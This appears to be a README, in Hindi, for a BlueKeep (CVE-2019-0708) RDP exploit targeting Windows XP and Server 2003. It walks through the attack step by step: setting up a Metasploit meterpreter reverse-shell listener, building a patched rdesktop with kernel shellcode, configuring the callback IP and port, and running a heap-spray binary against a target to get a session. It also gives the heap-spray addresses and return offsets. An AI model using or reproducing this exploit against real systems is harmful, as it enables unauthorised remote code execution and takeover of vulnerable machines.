cve-2019-0708_bluekeep_rce

1. msfconsole meterpreter/multi/handler चलाएं और 192.168.116.133:6000 पर सुनें
2. cd rdesktop-1.5.0 && make
3. config को संशोधित करें, वापस कनेक्ट होने वाले IP और पोर्ट को कॉन्फ़िगर करें 192.168.116.133 6000
4. ./heap_spray 192.168.116.134 निष्पादित करें (134 XP का पता है, मेमोरी 2GB या अधिक)
5. msfconsole meterpreter को session मिलेगा

ps: shellcode/shellcode.asm कर्नेल शेलकोड स्रोत कोड है, कंपाइल करने के बाद बाइनरी में बदल दिया जाता है, यह rdesktop-1.5.0\cf517d077e9c152120787eb6b251615b फ़ाइल है, make करने पर सीधे प्रोग्राम में कंपाइल हो जाता है।

वर्तमान में केवल XP समर्थित है, XP की मेमोरी >= 2GB होनी चाहिए

यदि 2003 को समर्थन देना है, तो heap_spray.c में HEAP_SPRAY_ADDRESS मैक्रो पते को संशोधित करना होगा। बार-बार परीक्षण के बाद, यह पता 03 के विभिन्न सिस्टम संस्करणों और विभिन्न मेमोरी आकारों में अलग होता है। लेकिन यदि आप अपनी मशीन पर परीक्षण करना चाहते हैं, तो 03 पर सफलतापूर्वक उपयोग किया जा सकता है। इसकी कोई सार्वभौमिकता नहीं है।

heap_spray.c

#ifdef _2003

#define HEAP_SPRAY_ADDRESS 0x953b09c0 //需要自己去windbg调试堆喷shellcode的地址 如果有朋友找到通用的解决方案欢迎提交issues

#define IcaChannelInputInternal_RET_OFFSET 0x268

#else

#define IcaChannelInputInternal_RET_OFFSET 0x274

#define HEAP_SPRAY_ADDRESS 0x88c969c0

#endif

03 का परीक्षण

1. msfconsole meterpreter/multi/handler चलाएं और 192.168.116.133:6000 पर सुनें
2. cd rdesktop-1.5.0 && make
3. config को संशोधित करें, वापस कनेक्ट होने वाले IP और पोर्ट को कॉन्फ़िगर करें 192.168.116.133 6000
4. ./_2003_heap_spray 192.168.116.135 निष्पादित करें (135 03 का पता है, मेमोरी 2GB या अधिक)
5. msfconsole meterpreter को session मिलेगा